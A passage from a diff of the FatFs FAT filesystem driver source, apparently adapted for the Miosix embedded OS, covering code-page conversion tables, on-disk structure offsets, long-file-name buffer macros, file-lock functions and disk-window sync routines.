0x41,0x49,0x4F,0x55,0xA5,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x21,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 866 /* Russian (OEM) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ + 0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0x90,0x91,0x92,0x93,0x9d,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F,0xF0,0xF0,0xF2,0xF2,0xF4,0xF4,0xF6,0xF6,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 874 /* Thai (OEM, Windows) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ + 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 1250 /* Central Europe (Windows) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x8A,0x9B,0x8C,0x8D,0x8E,0x8F, \ + 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xA3,0xB4,0xB5,0xB6,0xB7,0xB8,0xA5,0xAA,0xBB,0xBC,0xBD,0xBC,0xAF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xF7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xFF} + +#elif _CODE_PAGE == 1251 /* Cyrillic (Windows) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x82,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x80,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x8A,0x9B,0x8C,0x8D,0x8E,0x8F, \ + 0xA0,0xA2,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB2,0xA5,0xB5,0xB6,0xB7,0xA8,0xB9,0xAA,0xBB,0xA3,0xBD,0xBD,0xAF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF} + +#elif _CODE_PAGE == 1252 /* Latin 1 (Windows) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0xAd,0x9B,0x8C,0x9D,0xAE,0x9F, \ + 0xA0,0x21,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xF7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0x9F} + +#elif _CODE_PAGE == 1253 /* Greek (Windows) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ + 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xA2,0xB8,0xB9,0xBA, \ + 0xE0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xF2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xFB,0xBC,0xFD,0xBF,0xFF} + +#elif _CODE_PAGE == 1254 /* Turkish (Windows) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x8A,0x9B,0x8C,0x9D,0x9E,0x9F, \ + 0xA0,0x21,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xF7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0x9F} + +#elif _CODE_PAGE == 1255 /* Hebrew (Windows) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ + 0xA0,0x21,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 1256 /* Arabic (Windows) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x8C,0x9D,0x9E,0x9F, \ + 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0x41,0xE1,0x41,0xE3,0xE4,0xE5,0xE6,0x43,0x45,0x45,0x45,0x45,0xEC,0xED,0x49,0x49,0xF0,0xF1,0xF2,0xF3,0x4F,0xF5,0xF6,0xF7,0xF8,0x55,0xFA,0x55,0x55,0xFD,0xFE,0xFF} + +#elif _CODE_PAGE == 1257 /* Baltic (Windows) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x9D,0x9E,0x9F, \ + 0xA0,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xA8,0xB9,0xAA,0xBB,0xBC,0xBD,0xBE,0xAF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xF7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xFF} + +#elif _CODE_PAGE == 1258 /* Vietnam (OEM, Windows) */ +#define _DF1S 0 +#define _EXCVT {0x80,0x81,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x8D,0x8E,0x8F,0x90,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0xAC,0x9D,0x9E,0x9F, \ + 0xA0,0x21,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0xAD,0xAE,0xAF,0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF,0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, \ + 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xEC,0xCD,0xCE,0xCF,0xD0,0xD1,0xF2,0xD3,0xD4,0xD5,0xD6,0xF7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xFE,0x9F} + +#elif _CODE_PAGE == 1 /* ASCII (for only non-LFN cfg) */ +#if _USE_LFN +#error Cannot use LFN feature without valid code page. +#endif +#define _DF1S 0 + +#else +#error Unknown code page + +#endif + + +/* Character code support macros */ +#define IsUpper(c) (((c)>='A')&&((c)<='Z')) +#define IsLower(c) (((c)>='a')&&((c)<='z')) +#define IsDigit(c) (((c)>='0')&&((c)<='9')) + +#if _DF1S /* Code page is DBCS */ + +#ifdef _DF2S /* Two 1st byte areas */ +#define IsDBCS1(c) (((BYTE)(c) >= _DF1S && (BYTE)(c) <= _DF1E) || ((BYTE)(c) >= _DF2S && (BYTE)(c) <= _DF2E)) +#else /* One 1st byte area */ +#define IsDBCS1(c) ((BYTE)(c) >= _DF1S && (BYTE)(c) <= _DF1E) +#endif + +#ifdef _DS3S /* Three 2nd byte areas */ +#define IsDBCS2(c) (((BYTE)(c) >= _DS1S && (BYTE)(c) <= _DS1E) || ((BYTE)(c) >= _DS2S && (BYTE)(c) <= _DS2E) || ((BYTE)(c) >= _DS3S && (BYTE)(c) <= _DS3E)) +#else /* Two 2nd byte areas */ +#define IsDBCS2(c) (((BYTE)(c) >= _DS1S && (BYTE)(c) <= _DS1E) || ((BYTE)(c) >= _DS2S && (BYTE)(c) <= _DS2E)) +#endif + +#else /* Code page is SBCS */ + +#define IsDBCS1(c) 0 +#define IsDBCS2(c) 0 + +#endif /* _DF1S */ + + +/* Name status flags */ +#define NS 11 /* Index of name status byte in fn[] */ +#define NS_LOSS 0x01 /* Out of 8.3 format */ +#define NS_LFN 0x02 /* Force to create LFN entry */ +#define NS_LAST 0x04 /* Last segment */ +#define NS_BODY 0x08 /* Lower case flag (body) */ +#define NS_EXT 0x10 /* Lower case flag (ext) */ +#define NS_DOT 0x20 /* Dot entry */ + + +/* FAT sub-type boundaries */ +#define MIN_FAT16 4086U /* Minimum number of clusters for FAT16 */ +#define MIN_FAT32 65526U /* Minimum number of clusters for FAT32 */ + + +/* FatFs refers the members in the FAT structures as byte array instead of +/ structure member because the structure is not binary compatible between +/ different platforms */ + +#define BS_jmpBoot 0 /* Jump instruction (3) */ +#define BS_OEMName 3 /* OEM name (8) */ +#define BPB_BytsPerSec 11 /* Sector size [byte] (2) */ +#define BPB_SecPerClus 13 /* Cluster size [sector] (1) */ +#define BPB_RsvdSecCnt 14 /* Size of reserved area [sector] (2) */ +#define BPB_NumFATs 16 /* Number of FAT copies (1) */ +#define BPB_RootEntCnt 17 /* Number of root directory entries for FAT12/16 (2) */ +#define BPB_TotSec16 19 /* Volume size [sector] (2) */ +#define BPB_Media 21 /* Media descriptor (1) */ +#define BPB_FATSz16 22 /* FAT size [sector] (2) */ +#define BPB_SecPerTrk 24 /* Track size [sector] (2) */ +#define BPB_NumHeads 26 /* Number of heads (2) */ +#define BPB_HiddSec 28 /* Number of special hidden sectors (4) */ +#define BPB_TotSec32 32 /* Volume size [sector] (4) */ +#define BS_DrvNum 36 /* Physical drive number (2) */ +#define BS_BootSig 38 /* Extended boot signature (1) */ +#define BS_VolID 39 /* Volume serial number (4) */ +#define BS_VolLab 43 /* Volume label (8) */ +#define BS_FilSysType 54 /* File system type (1) */ +#define BPB_FATSz32 36 /* FAT size [sector] (4) */ +#define BPB_ExtFlags 40 /* Extended flags (2) */ +#define BPB_FSVer 42 /* File system version (2) */ +#define BPB_RootClus 44 /* Root directory first cluster (4) */ +#define BPB_FSInfo 48 /* Offset of FSINFO sector (2) */ +#define BPB_BkBootSec 50 /* Offset of backup boot sector (2) */ +#define BS_DrvNum32 64 /* Physical drive number (2) */ +#define BS_BootSig32 66 /* Extended boot signature (1) */ +#define BS_VolID32 67 /* Volume serial number (4) */ +#define BS_VolLab32 71 /* Volume label (8) */ +#define BS_FilSysType32 82 /* File system type (1) */ +#define FSI_LeadSig 0 /* FSI: Leading signature (4) */ +#define FSI_StrucSig 484 /* FSI: Structure signature (4) */ +#define FSI_Free_Count 488 /* FSI: Number of free clusters (4) */ +#define FSI_Nxt_Free 492 /* FSI: Last allocated cluster (4) */ +#define MBR_Table 446 /* MBR: Partition table offset (2) */ +#define SZ_PTE 16 /* MBR: Size of a partition table entry */ +#define BS_55AA 510 /* Boot sector signature (2) */ + +#define DIR_Name 0 /* Short file name (11) */ +#define DIR_Attr 11 /* Attribute (1) */ +#define DIR_NTres 12 /* NT flag (1) */ +#define DIR_CrtTimeTenth 13 /* Created time sub-second (1) */ +#define DIR_CrtTime 14 /* Created time (2) */ +#define DIR_CrtDate 16 /* Created date (2) */ +#define DIR_LstAccDate 18 /* Last accessed date (2) */ +#define DIR_FstClusHI 20 /* Higher 16-bit of first cluster (2) */ +#define DIR_WrtTime 22 /* Modified time (2) */ +#define DIR_WrtDate 24 /* Modified date (2) */ +#define DIR_FstClusLO 26 /* Lower 16-bit of first cluster (2) */ +#define DIR_FileSize 28 /* File size (4) */ +#define LDIR_Ord 0 /* LFN entry order and LLE flag (1) */ +#define LDIR_Attr 11 /* LFN attribute (1) */ +#define LDIR_Type 12 /* LFN type (1) */ +#define LDIR_Chksum 13 /* Sum of corresponding SFN entry */ +#define LDIR_FstClusLO 26 /* Filled by zero (0) */ +#define SZ_DIR 32 /* Size of a directory entry */ +#define LLE 0x40 /* Last long entry flag in LDIR_Ord */ +#define DDE 0xE5 /* Deleted directory entry mark in DIR_Name[0] */ +#define NDDE 0x05 /* Replacement of the character collides with DDE */ + + +/*------------------------------------------------------------*/ +/* Module private work area */ +/*------------------------------------------------------------*/ +/* Note that uninitialized variables with static duration are +/ zeroed/nulled at start-up. If not, the compiler or start-up +/ routine is out of ANSI-C standard. +*/ + +#if _VOLUMES +//static +//FATFS *FatFs[_VOLUMES]; /* Pointer to the file system objects (logical drives) */ +#else +#error Number of volumes must not be 0. +#endif + +static +/*WORD*/ int Fsid; /* File system mount ID */ + +#if _FS_RPATH && _VOLUMES >= 2 +static +BYTE CurrVol; /* Current drive */ +#endif + +#ifdef _FS_LOCK +//static +//FILESEM Files[_FS_LOCK]; /* Open object lock semaphores */ +#endif + +#if _USE_LFN == 0 /* No LFN feature */ +#define DEF_NAMEBUF BYTE sfn[12] +#define INIT_BUF(dobj) (dobj).fn = sfn +#define INIT_BUF2(dobj,fs) (dobj).fn = sfn +#define FREE_BUF() + +#elif _USE_LFN == 1 /* LFN feature with static working buffer */ +//static +//WCHAR LfnBuf[_MAX_LFN+1]; +#define DEF_NAMEBUF BYTE sfn[12] +#define INIT_BUF(dobj) { (dobj).fn = sfn; (dobj).lfn = fs->LfnBuf; } +#define INIT_BUF2(dobj,fs) { (dobj).fn = sfn; (dobj).lfn = fs->LfnBuf; } +#define FREE_BUF() + +#elif _USE_LFN == 2 /* LFN feature with dynamic working buffer on the stack */ +#define DEF_NAMEBUF BYTE sfn[12]; WCHAR lbuf[_MAX_LFN+1] +#define INIT_BUF(dobj) { (dobj).fn = sfn; (dobj).lfn = lbuf; } +#define FREE_BUF() + +#elif _USE_LFN == 3 /* LFN feature with dynamic working buffer on the heap */ +#define DEF_NAMEBUF BYTE sfn[12]; WCHAR *lfn +#define INIT_BUF(dobj) { lfn = ff_memalloc((_MAX_LFN + 1) * 2); \ + if (!lfn) LEAVE_FF((dobj).fs, FR_NOT_ENOUGH_CORE); \ + (dobj).lfn = lfn; (dobj).fn = sfn; } +#define FREE_BUF() ff_memfree(lfn) + +#else +#error Wrong LFN configuration. +#endif + + +#ifdef _EXCVT +static +const BYTE ExCvt[] = _EXCVT; /* Upper conversion table for extended characters */ +#endif + + + + + + +/*-------------------------------------------------------------------------- + + Module Private Functions + +---------------------------------------------------------------------------*/ + + +/*-----------------------------------------------------------------------*/ +/* String functions */ +/*-----------------------------------------------------------------------*/ + +// Added by TFT -- begin + +//Using newlib's version of memcpy, memset, memcmp and strchr which are +//performance optimized, while these are size optimized ones. +#define mem_cpy memcpy +#define mem_set memset +#define mem_cmp memcmp + +/* Copy memory to memory */ +// static +// void mem_cpy (void* dst, const void* src, UINT cnt) { +// BYTE *d = (BYTE*)dst; +// const BYTE *s = (const BYTE*)src; +// +// #if _WORD_ACCESS == 1 +// while (cnt >= sizeof (int)) { +// *(int*)d = *(int*)s; +// d += sizeof (int); s += sizeof (int); +// cnt -= sizeof (int); +// } +// #endif +// while (cnt--) +// *d++ = *s++; +//} + +/* Fill memory */ +// static +// void mem_set (void* dst, int val, UINT cnt) { +// BYTE *d = (BYTE*)dst; +// +// while (cnt--) +// *d++ = (BYTE)val; +// } + +/* Compare memory to memory */ +// static +// int mem_cmp (const void* dst, const void* src, UINT cnt) { +// const BYTE *d = (const BYTE *)dst, *s = (const BYTE *)src; +// int r = 0; +// +// while (cnt-- && (r = *d++ - *s++) == 0) ; +// return r; +// } + +/* Check if chr is contained in the string */ +static +int chk_chr (const char* str, int chr) { + //while (*str && *str != chr) str++; + //return *str; + char *result=strchr(str,chr); + if(result) return *result; + else return 0; +} + +// Added by TFT -- end + + +/*-----------------------------------------------------------------------*/ +/* Request/Release grant to access the volume */ +/*-----------------------------------------------------------------------*/ +#if _FS_REENTRANT +static +int lock_fs ( + FATFS* fs /* File system object */ +) +{ + return ff_req_grant(fs->sobj); +} + + +static +void unlock_fs ( + FATFS* fs, /* File system object */ + FRESULT res /* Result code to be returned */ +) +{ + if (fs && + res != FR_NOT_ENABLED && + res != FR_INVALID_DRIVE && + res != FR_INVALID_OBJECT && + res != FR_TIMEOUT) { + ff_rel_grant(fs->sobj); + } +} +#endif + + + + +/*-----------------------------------------------------------------------*/ +/* File lock control functions */ +/*-----------------------------------------------------------------------*/ +#ifdef _FS_LOCK + +static +FRESULT chk_lock ( /* Check if the file can be accessed */ + DIR_* dp, /* Directory object pointing the file to be checked */ + int acc /* Desired access (0:Read, 1:Write, 2:Delete/Rename) */ +) +{ + UINT i, be; + + /* Search file semaphore table */ + for (i = be = 0; i < miosix::FATFS_MAX_OPEN_FILES; i++) { + if (dp->fs->Files[i].fs) { /* Existing entry */ + if (dp->fs->Files[i].fs == dp->fs && /* Check if the object matched with an open object */ + dp->fs->Files[i].clu == dp->sclust && + dp->fs->Files[i].idx == dp->index) break; + } else { /* Blank entry */ + be = 1; + } + } + if (i == miosix::FATFS_MAX_OPEN_FILES) /* The object is not opened */ + return (be || acc == 2) ? FR_OK : FR_TOO_MANY_OPEN_FILES; /* Is there a blank entry for new object? */ + + /* The object has been opened. Reject any open against writing file and all write mode open */ + return (acc || dp->fs->Files[i].ctr == 0x100) ? FR_LOCKED : FR_OK; +} + + +static +int enq_lock (FATFS *fs) /* Check if an entry is available for a new object */ +{ + UINT i; + + for (i = 0; i < miosix::FATFS_MAX_OPEN_FILES && fs->Files[i].fs; i++) ; + return (i == miosix::FATFS_MAX_OPEN_FILES) ? 0 : 1; +} + + +static +UINT inc_lock ( /* Increment object open counter and returns its index (0:Internal error) */ + DIR_* dp, /* Directory object pointing the file to register or increment */ + int acc /* Desired access (0:Read, 1:Write, 2:Delete/Rename) */ +) +{ + UINT i; + + + for (i = 0; i < miosix::FATFS_MAX_OPEN_FILES; i++) { /* Find the object */ + if (dp->fs->Files[i].fs == dp->fs && + dp->fs->Files[i].clu == dp->sclust && + dp->fs->Files[i].idx == dp->index) break; + } + + if (i == miosix::FATFS_MAX_OPEN_FILES) { /* Not opened. Register it as new. */ + for (i = 0; i < miosix::FATFS_MAX_OPEN_FILES && dp->fs->Files[i].fs; i++) ; + if (i == miosix::FATFS_MAX_OPEN_FILES) return 0; /* No free entry to register (int err) */ + dp->fs->Files[i].fs = dp->fs; + dp->fs->Files[i].clu = dp->sclust; + dp->fs->Files[i].idx = dp->index; + dp->fs->Files[i].ctr = 0; + } + + if (acc && dp->fs->Files[i].ctr) return 0; /* Access violation (int err) */ + + dp->fs->Files[i].ctr = acc ? 0x100 : dp->fs->Files[i].ctr + 1; /* Set semaphore value */ + + return i + 1; +} + + +static +FRESULT dec_lock ( /* Decrement object open counter */ + FATFS *fs, + UINT i /* Semaphore index (1..) */ +) +{ + WORD n; + FRESULT res; + + + if (--i < miosix::FATFS_MAX_OPEN_FILES) { /* Shift index number origin from 0 */ + n = fs->Files[i].ctr; + if (n == 0x100) n = 0; /* If write mode open, delete the entry */ + if (n) n--; /* Decrement read mode open count */ + fs->Files[i].ctr = n; + if (!n) fs->Files[i].fs = 0; /* Delete the entry if open count gets zero */ + res = FR_OK; + } else { + res = FR_INT_ERR; /* Invalid index nunber */ + } + return res; +} + + +static +void clear_lock ( /* Clear lock entries of the volume */ + FATFS *fs +) +{ + UINT i; + + for (i = 0; i < miosix::FATFS_MAX_OPEN_FILES; i++) { + if (fs->Files[i].fs == fs) fs->Files[i].fs = 0; + } +} +#endif + + + + +/*-----------------------------------------------------------------------*/ +/* Move/Flush disk access window in the file system object */ +/*-----------------------------------------------------------------------*/ +#if !_FS_READONLY +static +FRESULT sync_window ( + FATFS* fs /* File system object */ +) +{ + DWORD wsect; + UINT nf; + + + if (fs->wflag) { /* Write back the sector if it is dirty */ + wsect = fs->winsect; /* Current sector number */ + if (disk_write(fs->drv, fs->win, wsect, 1)) + return FR_DISK_ERR; + fs->wflag = 0; + if (wsect - fs->fatbase < fs->fsize) { /* Is it in the FAT area? */ + for (nf = fs->n_fats; nf >= 2; nf--) { /* Reflect the change to all FAT copies */ + wsect += fs->fsize; + disk_write(fs->drv, fs->win, wsect, 1); + } + } + } + return FR_OK; +} +#endif + + +static +FRESULT move_window ( + FATFS* fs, /* File system object */ + DWORD sector /* Sector number to make appearance in the fs->win[] */ +) +{ + if (sector != fs->winsect) { /* Changed current window */ +#if !_FS_READONLY + if (sync_window(fs) != FR_OK) + return FR_DISK_ERR; +#endif + if (disk_read(fs->drv, fs->win, sector, 1)) + return FR_DISK_ERR; + fs->winsect = sector; + } + + return FR_OK; +} + + + + +/*-----------------------------------------------------------------------*/ +/* Synchronize file system and strage device */ +/*-----------------------------------------------------------------------*/ +#if !_FS_READONLY +static 